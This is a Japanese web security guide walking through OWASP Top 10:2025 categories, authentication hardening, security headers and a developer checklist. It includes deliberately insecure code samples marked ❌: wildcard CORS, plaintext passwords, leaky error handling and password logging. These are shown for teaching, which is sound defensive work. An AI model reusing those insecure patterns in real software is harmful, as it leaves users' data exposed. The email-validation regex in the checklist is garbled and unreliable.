verboseエラーメッセージ スタックトレース・DB接続情報・ファイルパスが公開 攻撃者が技術スタックを特定し、標的型攻撃につなげる

典型的な設定ミス:

❌ デバッグモードが本番で有効
❌ デフォルト認証情報(admin/admin)が変更されていない
❌ HTTPヘッダーがセキュリティ情報を公開
❌ AWS S3 / GCSバケット権限が "Everyone" に設定
❌ CORS: Access-Control-Allow-Origin: * (全オリジン許可)
❌ SQLサーバーが外部ネットワークから接続可能
❌ APIキーが環境変数ではなくソースコードに埋め込み

対策実装例:

次の例では、設定ミスの代表として CORS の広すぎる許可をどう狭めるかを見ます。

// ❌ セキュアではないCORS設定
app.use(cors({ origin: '*' }));

// ✅ セキュアなCORS設定
const whitelist = ['https://trusted-domain.com', 'https://app.example.com'];
app.use(cors({
  origin: function(origin, callback) {
    if (whitelist.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('CORS policy violated'));
    }
  },
  credentials: true
}));
# ❌ デフォルト認証情報をそのまま使用
npm install my-package --auth-user=admin --auth-pass=admin

# ✅ 環境変数で管理
export DB_USER=$DB_USER
export DB_PASS=$DB_PASS_ENCRYPTED

対策チェックリスト:

  • [ ] 開発環境と本番環境の設定を完全分離(.env.local vs .env.production)

  • [ ] デバッグモード・詳細エラーログは本番で無効

  • [ ] セキュリティヘッダーを全エンドポイントで設定(HSTS, CSP, X-Frame-Options)

  • [ ] デフォルト認証情報(SSHキー、DBパスワード)を変更

  • [ ] 不要なコンポーネント・サービスを削除

  • [ ] 定期的な設定監査(Infrastructure as Codeで自動検証)

  • [ ] クラウドストレージ権限を定期的に監視(Prowler, ScoutSuite等)

  • A02 Security Misconfiguration - OWASP Top 10:2025

  • WSTG v4.2 - Configuration and Deployment Management Testing

  • CIS Controls v8.1


A03:2025 — Software Supply Chain Failures / ソフトウェアサプライチェーン障害(#3新規追加)

要点

自分で書いたコードではなく、依存関係や配布経路の汚染から侵入される問題です。

影響度: 極めて高い

背景・仕組み: 2025年の新規カテゴリ。npm、Docker Hub、GitHub Actionsなど、ソフトウェア流通経路が攻撃対象化しています。2021年の「Vulnerable and Outdated Components」を拡張し、依存関係だけでなくbuild systemやdistribution infrastructureまで含めて捉えるカテゴリです。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-829 Inclusion of Functionality from Untrusted Control Sphere(信頼できない管理領域の機能取り込み) 信頼できない供給元や配布経路のコードを取り込んでしまう
CWE-1357 Reliance on Insufficiently Trustworthy Component(十分に信頼できない部品への依存) 十分に信頼できない部品やソースに依存してしまう
CWE-1104 Use of Unmaintained Third Party Components(保守されていないサードパーティ部品の使用) 保守終了した依存関係を使い続ける
CWE-1395 Dependency on Vulnerable Third-Party Component(脆弱なサードパーティ部品への依存) 既知脆弱性を持つ第三者部品を取り込む

実世界の事例:

事例 内容 被害規模
SolarWinds 2020 ビルドシステムが侵害され、マルウェア入りアップデート配布 政府機関・Fortune 100企業が感染
Log4j CVE-2021-44228 JavaライブラリのRCE脆弱性、数百万のアプリに組み込まれ 急速な対応が必要(3日で修正)
Shai-Hulud npmワーム(2025) 自己増殖型npmパッケージが23,000+ リポジトリ に拡散 CI/CDシークレット 漏洩
tj-actions GitHub Actions侵害 攻撃者が既存タグを改ざん、23,000+ リポジトリのCIシークレット ダンプ インフラ認証情報 露出

攻撃ベクトル:

1. タイポスクワッティング:
   本物:lodash-es
   偽物:lodash_esまたはloadash-es → typosquatting

2. 依存関係の混乱 (Dependency Confusion):
   npm install lodash-es
   → 内部レジストリではなく、公開npmパッケージを取得
   → 攻撃者が公開版にマルウェア埋め込み

3. メンテナー垂直化:
   ライブラリメンテナーのアカウントが侵害
   → 正規のアップデートにバックドア組み込み

4. ビルド時間の改ざん(Build-time Compromise):
   Dockerコンテナイメージが改ざんされ、配布

対策実装例:

# ❌ バージョン固定なし(常に最新をインストール)
npm install lodash

# ✅ 正確なバージョン指定(package-lock.json使用)
npm install lodash@4.17.21
npm ci  # 本番ではnpm installではなくnpm ciを使用

# ✅ チェックサム検証(npm)
npm audit
npm audit signatures  # パッケージ署名検証

# ✅ private registry + whitelist
npm set registry https://internal-npm.company.com
npm config set @company:registry https://internal-npm.company.com
# ✅ Dependency Confusion対策(npm config)
npmScopes:
  company:
    npmRegistryServer: 'https://internal-npm.company.com'

対策チェックリスト:

  • [ ] package-lock.json / yarn.lock をgitに含める

  • [ ] npm ci で本番デプロイ(npm install ではなく)

  • [ ] npm audit を定期実行、脆弱性は1日以内に修正

  • [ ] 依存関係の署名検証:npm audit signatures

  • [ ] private registryのホワイトリスト設定

  • [ ] メンテナーのアカウント保護:MFA、IP制限

  • [ ] Dockerイメージはダイジェスト で固定:image:tag@sha256:...

  • [ ] ソフトウェア部品表(SBOM)生成・管理:CycloneDX、SPDX

  • A03 Software Supply Chain Failures - OWASP Top 10:2025

  • Vulnerable Dependency Management Cheat Sheet - OWASP

  • Trivy


A04:2025 — Cryptographic Failures / 暗号化の失敗(#4順位変動)

要点

守るべき情報を「読めない形」にできておらず、漏れる・盗まれる問題です。

影響度: 非常に高い

背景・仕組み: 暗号化の失敗は、機密データ(パスワード、クレジット情報、個人情報)が平文で保存・転送される状態です。弱い暗号化アルゴリズム(MD5、SHA-1)、不適切な鍵管理、TLS未使用が含まれます。 暗号化の失敗は、保存時・転送時・鍵管理のどこか一つでも崩れると影響が大きくなります。アルゴリズム選定だけでなく、鍵の保管、ローテーション、TLS設定、秘密情報のログ混入を合わせて確認します。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-327 Use of a Broken or Risky Cryptographic Algorithm(破られた、または危険な暗号アルゴリズムの使用) MD5、SHA-1、古い暗号モードなど危険な方式を使う
CWE-331 Insufficient Entropy(エントロピー不足) 鍵やトークンの乱数品質が低く予測可能になる
CWE-338 Use of Cryptographically Weak PRNG(暗号学的に弱い疑似乱数生成器の使用) 暗号用途に不適切な乱数生成器を使う
CWE-319 Cleartext Transmission of Sensitive Information(機密情報の平文送信) 機密情報を平文通信で流してしまう

脆弱な暗号化:

脆弱な方式 理由 安全な方式
MD5, SHA-1 既にクラック可能 SHA-256, SHA-3
DES, 3DES 鍵長短い(56-168ビット) AES-256
RSA < 2048 bit 分解可能 RSA 2048+ bitまたは楕円曲線
TLS 1.0, 1.1 セキュリティ欠陥 TLS 1.3
ハッシング:saltなし rainbow table攻撃 bcrypt, argon2 (salt付き)

実装例:

次のコードは、平文保存と安全なハッシュ化の違いを、最小限の形で見比べるための例です。

// ❌ 脆弱:TLS使用なし、パスワード平文保存
const user = {
  email: 'user@example.com',
  password: 'MyPassword123'  // 平文で保存
};
app.listen(80);  // HTTP(暗号化なし)

// ✅ 安全:TLS + bcrypt
const bcrypt = require('bcrypt');
const saltRounds = 12;

const hashedPassword = await bcrypt.hash('MyPassword123', saltRounds);
const user = {
  email: 'user@example.com',
  passwordHash: hashedPassword
};
app.listen(443, { key, cert });  // HTTPS

A05:2025 — Injection / インジェクション(#5順位変動)

要点

入力データが命令として解釈されてしまう問題です。

内容: SQLインジェクション、NoSQLインジェクション、OSコマンドインジェクション、XXE、SSTI

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-79 Improper Neutralization of Input During Web Page Generation(Webページ生成時の入力無害化不備) XSS。HTML/JS文脈への不適切な出力
CWE-89 Improper Neutralization of Special Elements used in an SQL Command(SQLコマンド中の特殊要素の無害化不備) SQLインジェクション
CWE-77 Improper Neutralization of Special Elements used in a Command(コマンド中の特殊要素の無害化不備) コマンドインジェクション
CWE-94 Improper Control of Generation of Code(コード生成の不適切な制御) 動的コード生成やeval系の危険な実装
CWE-643 Improper Neutralization of Data within XPath Expressions(XPath式内データの無害化不備) XPathインジェクションなど派生系の注入

(詳細は 包括的な攻撃手法30+ 詳細ガイド1. インジェクション攻撃(7種類) セクション参照)


A06:2025 — Insecure Design / 不適切な設計(#6)

要点

実装前の設計段階で「悪用されたらどうなるか」を織り込めていない問題です。

内容: ビジネスロジック脆弱性、レース条件、脅威モデリング不足

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-269 Improper Privilege Management(不適切な権限管理) 権限設計そのものが曖昧・不適切
CWE-434 Unrestricted Upload of File with Dangerous Type(危険な型のファイルを無制限にアップロード可能) 危険ファイルを扱えてしまう設計
CWE-501 Trust Boundary Violation(信頼境界の逸脱) 信頼してはいけない境界をまたいで入力を過信する
CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization(共有資源の不適切な同期による並行実行) レース条件を防ぐ前提設計がない
CWE-840 Business Logic Errors(ビジネスロジックの誤り) ビジネスルールの欠落や悪用可能な仕様

(詳細は 包括的な攻撃手法30+ 詳細ガイド5.4ビジネスロジック脆弱性6.4レース条件 セクションを参照)


A07:2025 — Authentication Failures / 認証の失敗(#7)

要点

本人確認やログイン後の管理が甘く、なりすましを許してしまう問題です。

背景・仕組み: 認証の失敗は、セッション管理の脆弱性、パスワードリセット脆弱性、MFA不足、認証器管理不備が含まれます。OWASP 2025では旧称の「Identification and Authentication Failures」から、より実態に近い「Authentication Failures」へ名前が調整されました。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-287 Improper Authentication(不適切な認証) 本人確認が不十分で、なりすましを許す
CWE-384 Session Fixation(セッション固定化) 攻撃者が用意したセッションを被害者に使わせる
CWE-798 Use of Hard-coded Credentials(ハードコードされた認証情報の使用) 固定認証情報の埋め込み
CWE-640 Weak Password Recovery Mechanism for Forgotten Password(脆弱なパスワード回復機構) 脆弱なパスワードリセット導線
CWE-613 Insufficient Session Expiration(不十分なセッション有効期限管理) セッションの失効やタイムアウトが不十分

実世界の事例:

シナリオ 内容
セッションタイムアウト不十分 公開コンピュータでlogoutボタンを押さず、ブラウザを閉じる → 攻撃者が同じコンピュータでセッション継続
Single Sign-On (SSO) バグ SSOログイン後、1つのアプリからのみログアウト → 他サービスはまだ認証状態 → 攻撃者がアカウント侵害
JWT署名検証漏れ JWTをデコード のみ → 署名検証なし → ペイロードを改ざん可能

安全なセッション管理実装:

// ✅ セキュアなセッション設定
app.use(session({
  secret: process.env.SESSION_SECRET,  // 強力なランダムシークレット
  resave: false,
  saveUninitialized: false,
  cookie: {
    httpOnly: true,          // JavaScriptからアクセス不可
    secure: true,            // HTTPSのみ
    sameSite: 'Strict',      // CSRF対策
    maxAge: 15 * 60 * 1000   // 15分で自動ログアウト
  }
}));

// ✅ ログイン後、新しいセッションIDを生成
app.post('/login', (req, res) => {
  const user = authenticateUser(req.body);
  req.session.regenerate((err) => {  // 重要:新しいセッション生成
    req.session.userId = user.id;
    res.redirect('/dashboard');
  });
});

// ✅ JWT署名検証
const verifyToken = (token, secret) => {
  try {
    return jwt.verify(token, secret, { algorithms: ['HS256'] });
  } catch (err) {
    throw new Error('Invalid token');
  }
};

A08:2025 — Software or Data Integrity Failures / ソフトウェアおよびデータ整合性障害(#8)

要点

更新ファイルや重要データが本物かどうかを確かめずに信じてしまう問題です。

影響度: 非常に高い

背景・仕組み: ソフトウェアおよびデータの整合性障害は、CI/CDパイプライン、更新メカニズム、重要なデータストレージ、またはソフトウェアリポジトリの完全性が検証されない場合に発生します。署名なしのソフトウェアアップデート、信頼できないコード リポジトリ、CI/CDパイプラインのセキュリティ不足が含まれます。 このカテゴリはA03と近いものの、supply chain全体というより、より低い層での「信頼境界と整合性検証の失敗」に重点があります。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-353 Missing Support for Integrity Check(整合性検査機能の欠如) 改ざん検知の仕組み自体がない
CWE-347 Improper Verification of Cryptographic Signature(暗号署名の不適切な検証) 署名検証が不完全、または検証しない
CWE-295 Improper Certificate Validation(不適切な証明書検証) 証明書検証不足で信頼境界が崩れる
CWE-345 Insufficient Verification of Data Authenticity(データ真正性の検証不足) データの真正性を十分に確認しない
CWE-502 Deserialization of Untrusted Data(信頼できないデータのデシリアライズ) 危険なデシリアライズで整合性・実行制御が崩れる

実世界の事例:

事例 内容
SolarWinds Supply Chain Attack ビルドシステムが侵害され、署名されたアップデートにマルウェア埋め込み
Codecov侵害 CI/CDツールの認証情報が漏洩、改ざんされたスクリプト配布
XcodeGhost(iOSアプリ) 改ざんされたXcodeがダウンロードされ、アプリにスパイウェア組み込み

脆弱な実装:

❌ ソフトウェア署名なし
❌ デジタル署名検証なし
❌ CI/CDパイプラインへのアクセス制御不足
❌ アーティファクトのチェックサム検証なし
❌ 信頼されていない供給源からのコンポーネント使用
❌ 過度な権限を持つCI/CDアカウント

対策実装例:

# ✅ NPMパッケージの署名検証
npm audit signatures

# ✅ Dockerイメージのダイジェスト固定(改ざん検出)
docker pull myregistry/myimage@sha256:abc123def456...

# ✅ デジタル署名によるコード検証
gpg --verify code.tar.gz.sig code.tar.gz

# ✅ CI/CD環境変数の暗号化
export DATABASE_PASSWORD=$(aws secretsmanager get-secret-value --secret-id prod/db/password)

# ✅ ソフトウェア部品表(SBOM)生成と管理
syft registry:myregistry/myimage > sbom.json

対策チェックリスト:

  • [ ] すべてのソフトウェアアップデートにデジタル署名を実装

  • [ ] CI/CDパイプラインへのアクセスをMFAで保護

  • [ ] CI/CD環境変数・シークレットを暗号化管理

  • [ ] アーティファクト(ビルド成果物)のチェックサム検証

  • [ ] コンポーネント署名の自動検証(npm, Docker, etc.)

  • [ ] SBOM(ソフトウェア部品表)生成・管理

  • [ ] パイプラインのログ記録・監査

  • [ ] サードパーティ依存関係の定期監査

  • A08 Software or Data Integrity Failures - OWASP Top 10:2025

  • CVSS v4.0 Specification - FIRST

  • CWE Top 25 - MITRE


A09:2025 — Security Logging & Alerting Failures / セキュリティログと監視の失敗(#9)

要点

攻撃されても記録や通知が足りず、気づくのが遅れる問題です。

影響度: 非常に高い

背景・仕組み: セキュリティログと監視の失敗は、攻撃や不正アクセスが発生しても検知できず、事件対応が遅延する状況を指します。ログが記録されない、ログが不十分、または監視・アラートが機能しない場合、攻撃者は長期間検知されない状態で活動できます。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-778 Insufficient Logging(ログ記録不足) 必要な監査ログが残らない
CWE-390 Detection of Error Condition Without Action(異常検出後に対処しない) 異常は検出しても通知や遮断につながらない
CWE-532 Insertion of Sensitive Information into Log File(ログファイルへの機密情報挿入) ログに機密情報を書き込んでしまう
CWE-117 Improper Output Neutralization for Logs(ログ向け出力の無害化不備) ログ改ざんやログインジェクションを許す

実世界の事例:

事例 内容 影響
Target 2013 ネットワーク侵入が発生したが、ログが適切に分析されず、3ヶ月間検知されず 4000万件以上のクレジットカード情報漏洩
Equifax 2017 Apache Struts脆弱性による侵害で、ログが不十分で初期アクセスが未検知 1.47億人の個人情報漏洩
AWS CloudTrail未設定 API呼び出しがログされず、不正アクセスの証跡がない コンプライアンス違反、攻撃検知不可

ログに記録されるべき重要イベント:

イベント ログ内容
認証失敗 失敗日時、ユーザーID、失敗理由、送信元IP
権限昇格 権限変更日時、変更者、変更内容、承認者
データアクセス アクセス日時、ユーザー、アクセスしたレコードID、アクション(読取/変更/削除)
API呼び出し エンドポイント、メソッド、送信元IP、リクエストパラメータ(機密情報除外)
設定変更 変更日時、変更者、変更前後の値
エラー・例外 エラー内容、スタックトレース(本番は隠す)、ユーザーコンテキスト

脆弱なログ実装:

// ❌ ログなし
app.post('/api/transfer', (req, res) => {
  const amount = req.body.amount;
  db.transfer(amount);  // ログ記録がない
  res.json({ success: true });
});

// ❌ 機密情報がログに記録される
app.post('/login', (req, res) => {
  logger.info(`Login attempt: ${req.body.email}, ${req.body.password}`);  // パスワード漏洩!
});

// ❌ ログレベルが不適切
logger.debug(`User ${user.id} transferred $${amount}`);  // デバッグレベルは本番で無効化される

安全なログ実装:

// ✅ 重要イベントをログに記録
const logger = require('winston');

app.post('/api/transfer', (req, res) => {
  const amount = req.body.amount;
  const userId = req.user.id;

  try {
    db.transfer(amount);

    // ✅ 重要イベントを記録
    logger.info('Fund transfer completed', {
      userId: userId,
      amount: amount,
      timestamp: new Date().toISOString(),
      sourceIP: req.ip
    });

    res.json({ success: true });
  } catch (err) {
    // ✅ エラーイベントを記録(技術詳細のみサーバー側)
    logger.error('Transfer failed', {
      userId: userId,
      error: err.message,
      timestamp: new Date().toISOString(),
      sourceIP: req.ip
    });

    // クライアントには一般メッセージのみ
    res.status(500).json({ error: 'Transfer failed' });
  }
});

// ✅ 認証失敗をログ記録
app.post('/login', (req, res) => {
  const email = req.body.email;

  const user = db.findUser(email);

  if (!user || !bcrypt.compareSync(req.body.password, user.passwordHash)) {
    // ✅ 失敗イベントを記録(パスワードは記録しない)
    logger.warn('Login failed', {
      email: email,
      reason: 'Invalid credentials',
      sourceIP: req.ip,
      timestamp: new Date().toISOString()
    });

    return res.status(401).json({ error: 'Invalid credentials' });
  }

  // ✅ ログイン成功を記録
  logger.info('Login successful', {
    userId: user.id,
    email: email,
    sourceIP: req.ip,
    timestamp: new Date().toISOString()
  });

  req.session.userId = user.id;
  res.json({ success: true });
});

SIEM(Security Information and Event Management: セキュリティ情報イベント管理)の設定例:

アラートルール例:
1. ログイン失敗が5回以上 → アカウント一時ロック
2. APIエラーレートが10% を超過 → セキュリティチームに通知
3. 設定変更が発生 → 変更内容をログ + 承認者に確認メール
4. 未知のIPからのアクセス → リスク評価実施

対策チェックリスト:

  • [ ] すべての認証・認可・データアクセスイベントをログ記録

  • [ ] 機密情報(パスワード、APIキー、クレジット番号)をログに含めない

  • [ ] ログは改ざん防止の仕組みで保護(Append-onlyストレージ)

  • [ ] ログの中央集約(SIEM: Security Information and Event Management)

    • 例:Splunk、ELK、Datadogなど
  • [ ] ログの長期保存(最低1年間、コンプライアンス要件に応じて)

  • [ ] 異常検知ルール実装(レート制限、エラー急増、不正パターン)

  • [ ] アラート通知設定(Slack、PagerDuty、メール)

  • [ ] 定期的なログ分析・セキュリティ監査

  • [ ] インシデント対応計画の作成・訓練

  • Logging Cheat Sheet - OWASP

  • CIS Controls v8.1

  • MITRE ATT&CK


A10:2025 — Mishandling of Exceptional Conditions / 例外処理の不適切な取り扱い(#10新規追加)

要点

エラーや異常時の動きを安全側に倒せず、そこで情報漏洩や制御崩れが起きる問題です。

影響度: 中程度~高い

背景・仕組み: 2025年の新規カテゴリ。エラーハンドリング不十分、例外処理なし、失敗時のセキュリティ制御喪失が含まれます。異常条件に遭遇したときにfail-openする、ロジックが崩れる、異常系で安全性が維持されない問題群として読むと理解しやすいです。

代表的なCWE:

CWE 名称 このカテゴリでの意味
CWE-209 Generation of Error Message Containing Sensitive Information(機密情報を含むエラーメッセージ生成) エラー応答で内部情報を漏らす
CWE-234 Failure to Handle Missing Parameter(欠落パラメータの処理不備) 必須パラメータ欠落時の処理が壊れる
CWE-636 Not Failing Securely(安全に失敗しない) 失敗時にfail-openしてしまう
CWE-703 Improper Check or Handling of Exceptional Conditions(例外条件の不適切な確認または処理) 例外条件全般の扱いが弱い

実世界の事例:

シナリオ 内容
リソース枯渇DoS ファイルアップロード時の例外をキャッチするも、リソース解放不足 → メモリリーク → すべてのリソース枯渇
情報漏洩(エラーメッセージ) SQL Error: Column 'users' not found → テーブル名が漏洩 → SQLI攻撃対象化
状態破綻(トランザクション) 複数ステップの金融取引が途中でエラー → 状態が不一貫 → 会計不一致
セキュリティ制御喪失 データベース接続エラー時、権限チェック をスキップして処理続行

脆弱なエラー処理:

// ❌ セキュアではない
try {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
  console.log(err);  // スタックトレース・SQLが漏洩
  res.json({ error: err.message });  // 技術詳細をクライアントに返す
}

// ✅ セキュアなエラー処理
try {
  const user = await db.query('SELECT * FROM users WHERE id = ?', [userId]);
} catch (err) {
  logger.error('Database error', { userId, error: err });  // サーバー側のみ詳細ログ
  res.status(500).json({ error: 'Internal Server Error' });  // クライアントは一般メッセージ
}

対策チェックリスト:

認証脆弱性と対策

この章は、ログイン、セッション、MFA、JWTのように、実装で誤りやすく影響の大きい認証まわりをまとめて見直すための章です。

パスワード管理のベストプラクティス

ヒント

ここは「パスワードをそのまま保存しない」ための基本です。漏えいしてもすぐ悪用されにくい形で保管します。

強力なハッシュ関数の使用:

脆弱な方式 安全な方式
SHA-256、MD5による直接ハッシング bcrypt(推奨)、argon2 (最新)
ソルトなし ソルト付きハッシング

パスワード格納の実装例:

脆弱な実装 安全な実装
hash_password(password) bcrypt.hash(password, rounds=12)
SHA256(password + salt) argon2.hash(password, memory=19456, iterations=2)

多要素認証 (MFA) の実装

ヒント

ここは、パスワード1個だけに頼らず、もう1段階の確認を足して乗っ取りを防ぐ部分です。

MFAはパスワード盗聴・ブルートフォース攻撃の対策として最も効果的です。 NIST SP 800-63B-4でも、認証器管理を含む認証強化の重要性が示されています。

実装順序(推奨):

  1. WebAuthn / Passkeys — 耐フィッシング性が高く、現代的な最有力候補
  2. TOTP(Google Authenticatorなど) — 導入しやすく、SMSより安全
  3. メール確認コード — 補助用途として有効
  4. SMS — 利便性は高いが、SIMスワップ等のリスクがある

WebAuthn / Passkeys は、端末に保存された秘密鍵を使って本人確認する方式で、パスワードを送らない点が強みです。TOTP は一定時間ごとに変わるワンタイムコードを使う方式です。

JWTセキュア設定

ヒント

ここは、ログイン後の「入場券」のようなトークンを安全に扱うための設定です。作り方より、検証の厳しさが大事です。

設定項目 推奨値 理由
署名アルゴリズム HS256またはRS256 強力な署名
有効期限 15~30分 盗難リスク最小化
リフレッシュトークン 有効期限7日 トークン更新メカニズム
none アルゴリズム 拒否 署名回避攻撃対策

実装メモ:

  • JWTは認証の実装手段の1つであり、それ自体が認可を保証するわけではない
  • 高価値リソース保護をAPIキーだけに依存しない
  • セッションベースでもトークンベースでも、権限判断はサーバー側で行う

HTTPセキュリティヘッダー完全ガイド

Webサーバーが送信するセキュリティヘッダーは、ブラウザの動作を制御し、多くの攻撃を防ぎます。 ここでは「何の攻撃を防ぐためのヘッダーか」を対応づけながら、実装時に最低限押さえたい構成を先に示します。

推奨ヘッダー構成

ヒント

ここは、ブラウザに「このサイトをどう安全に扱うか」を伝えるための基本セットです。

# SSL/TLS
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# XSS対策
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; frame-ancestors 'none'
Content-Security-Policy-Report-Only: default-src 'self'; report-uri https://example.com/csp-report; report-to csp-endpoint

# Cookie属性(CSRF対策)
Set-Cookie: sessionId=...; Secure; HttpOnly; SameSite=Strict

# キャッシュ対策
Cache-Control: no-store, max-age=0
Pragma: no-cache

# CORS
Access-Control-Allow-Origin: https://trusted.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

ヘッダー詳細解説

Strict-Transport-Security (HSTS)

ヒント

一度HTTPSで見たサイトには、次回からもHTTPではなくHTTPSだけで接続させる設定です。

- HTTPダウングレード攻撃を防止 - `preload` リスト登録で初回アクセスもHTTPSに強制

X-Content-Type-Options: nosniff

ヒント

ブラウザの「たぶんこの種類だろう」という勝手な推測を止める設定です。

- MIMEタイプ自動判定を無効化 - MIMEタイプミス悪用 攻撃を防止

Content-Security-Policy (CSP)

ヒント

どこからスクリプトや画像を読み込んでよいかを細かく決め、XSSの被害を小さくする設定です。

- XSSの最も強力な対策 - インラインスクリプト・外部スクリプトの読み込み先を制限 - `frame-ancestors` でクリックジャッキング対策も可能 - 本番適用前に `Content-Security-Policy-Report-Only` で違反を観測すると導入しやすい

frame-ancestors は「どのサイトからこのページをiframeに埋め込めるか」を決める指示です。Content-Security-Policy-Report-Only は、まだ遮断せず違反だけを報告して、設定を安全に慣らすための試運転用ヘッダーです。


実装チェックリスト

この章は、本文で説明した内容を開発・レビュー時に機械的に確認できるよう、実務向けの確認項目に落とし直したものです。

入力検証・出力エンコーディング

ヒント

ここは「受け取る入力」と「画面へ出す出力」を安全にする項目です。インジェクションやXSSの入口になりやすい部分です。

  • [ ] すべてのユーザー入力を検証(型・長さ・形式)

    • ブラウザ側の検証だけでなく、サーバー側でも必ず検証を実施
    • 型チェック:数値フィールドに文字列が送信されていないか確認
    • 長さチェック:最大文字数を超える入力を拒否
    • 形式チェック:メールは @ を含む、電話番号は数字と + のみなど
    • ホワイトリスト方式:許可する値を明確に定義
  • [ ] SQLクエリはパラメータ化クエリを使用

    • 危険:"SELECT * FROM users WHERE id = " + userId
    • 安全:db.query("SELECT * FROM users WHERE id = ?", [userId]) または db.query("SELECT * FROM users WHERE id = :id", {id: userId})
    • パラメータ化クエリにより、SQLインジェクション が自動的に防止される
  • [ ] HTML出力時にHTMLエンコーディング

    • <&lt;>&gt;"&quot;'&#39; に変換
    • XSS攻撃で埋め込まれたスクリプトタグがテキストとして表示される
    • ライブラリ使用:DOMPurify (JavaScript)、xss (Node.js)、html-escape (Python) など
    • パラメータ化クエリ実装例
      • Node.js mysql2:conn.execute('SELECT * FROM users WHERE id = ?', [userId])
      • Python psycopg2:cursor.execute('SELECT * FROM users WHERE id = %s', (user_id,))
      • Java JDBC:stmt.setInt(1, userId)
    • 長さチェック:DB スキーマと一貫(VARCHAR(255) なら 255 文字まで)
  • [ ] JavaScript出力時にJavaScriptエスケープ

    • JSONシリアライゼーション時に特殊文字をエスケープ
    • 改行、クォート、バックスラッシュなどを適切に処理
    • JSON.stringify() を使用して安全に出力
  • [ ] URLパラメータのホワイトリスト検証

    • リダイレクト先URLは必ずホワイトリストと照合
    • window.location.href = userProvidedUrl は危険
    • 許可されたドメインのみにリダイレクト
    • 正規表現ホワイトリスト実装例
      • メール:^[a-zA-Z0-9.!#$%&'*+/=?^_{|}~-]+@a-zA-Z0-9?(?:.a-zA-Z0-9?)* Webセキュリティ
      • URL:^https?://[^\s/$.?#].[^\s]*$ (簡易版)
      • 電話番号(日本):^0\d{1,4}-?\d{1,4}-?\d{4}$
  • [ ] ファイルアップロード:拡張子・MIMEタイプのホワイトリスト

    • 拡張子だけの判定は不十分(.php.jpgなど)
    • 危険な拡張子ブロック:.php、.phtml、.php3-5、.phar、.pht、.phps、.shtml、.exe、.com、.bat、.sh
    • MIMEタイプ検証:Content-Type ヘッダー確認(クライアント送信なので信頼性低)
    • マジックバイト検証:ファイル先頭数バイトシグネチャ確認(JPEG: FF D8 FF、PNG: 89 50 4E 47、PDF: 25 50 44 46、ZIP: 50 4B 03 04)
    • アップロード先設定:www root 外のディレクトリ、実行権限明示削除(.htaccess で php 禁止など)
    • ファイル名ランダム化:uuid.ext 形式、元のファイル名は DB メタデータのみ保存
    • ウイルススキャン(大規模サービス):ClamAV、VirusTotal API 併用

認証・認可

ヒント

ここは「その人が本当に本人か」と「その人にその操作を許してよいか」を確認する項目です。乗っ取りや権限逸脱を防ぎます。

  • [ ] パスワードはbcrypt/argon2でハッシング(ソルト付き)

    • SHA-256、MD5は認証用に不適切(高速すぎてブルートフォース攻撃の対象)
    • bcryptのroundsを最低12に設定(計算コストを増加)。実務では16ラウンド(2^16反復)が目安
    • argon2は更に強力(メモリコスト19 MiB以上、時間コスト3反復以上推奨)
    • saltは自動的に生成・保存される
    • パスワード検証は constant-time comparison を使用(PHP password_verify()、Python secrets.compare_digest()など)
    • NIST SP800-63B-4 ガイドラインMFA有効時は最小8文字、未実装時は15文字以上、最大長は64文字以上推奨
    • 文字種制限なし(unicode、空白を含む全文字を許可)
  • [ ] MFA実装(WebAuthn / PasskeysまたはTOTPを推奨)

    • パスワード盗聴でも2段階目を突破できない
    • WebAuthn / Passkeys(W3C WebAuthn Level 3、FIDO2 / CTAP 2.1対応):耐フィッシング性が最高クラス。iCloud Keychain、Google Password Manager など主要プラットフォームで同期対応
    • TOTP(RFC 6238):30秒window、6桁PIN が標準。ライブラリ:pyotp (Python)、speakeasy (JavaScript)
    • SMS:セキュリティが低い(SIMスワップ攻撃の対象)。EU・金融機関では推奨度が低い
    • メール確認:バックアップ用途に
    • 優先順位:WebAuthn ≫ TOTP ≫ Email OTP ≫ SMS OTP
  • [ ] JWT署名検証の必須化

    • jwt.decode() のみではなく、jwt.verify() を必ず実行(RFC 7519対応)
    • 署名アルゴリズムを明示的に指定({algorithms: ['HS256']})。ライブラリはデフォルトで “none” を拒否
    • none アルゴリズムは明示的に拒否
    • HS256 (HMAC-SHA256):サーバー秘密鍵で署名、複数サーバー間鍵共有必要
    • RS256 (RSA-SHA256):公開鍵認証、マイクロサービス構成に適切
    • kid (Key ID) ヘッダーで複数鍵ローテーション対応
    • **exp (有効期限)**は短期(15~30分)に設定
    • Payloadは暗号化されていない前提で扱い、機密情報(パスワード、SSN)を入れない。JWEで暗号化が必要な場合は別対応
    • 秘密鍵は環境変数で管理、ソースコードに埋め込まない
  • [ ] セッションIDの十分なランダム化

    • 予測可能なID(連番、タイムスタンプ)は使用禁止
    • 十分なランダ性(最低256ビット推奨、128ビット最小限度)。CSPRNG使用:
      • Node.js: crypto.randomBytes(32)
      • Python: os.urandom(32)
      • Java: SecureRandom
      • PHP: random_bytes(32)
    • Cookie属性必須設定
      • Secure:HTTPS送信のみ
      • HttpOnly:JavaScript アクセス不可(XSS対策)
      • SameSite=Strict:クロスサイトリクエストで送信しない(CSRF対策)
    • セッションローテーション:ログイン後・権限昇格時に新ID発行
    • タイムアウト設定:アイドル15~30分、絶対8時間程度
  • [ ] ログイン試行のレート制限

    • アカウント単位:失敗3回で15分ロック、その後倍増(15分→30分→60分)
    • IP単位:失敗10回でIP を1時間ブロック
    • ハイブリッド対応:アカウントロックと併用で効果向上
    • 実装例:Redis で (account_id, failure_count, timestamp) を管理
    • CAPTCHA追加トリガー:失敗3回目以降(UX配慮も必須)
    • 事後通知:ログイン成功時にメール送信で不正アクセス検知を助支
    • ブルートフォース攻撃を実質的に不可能に
    • 正規ユーザーにはUXへの配慮
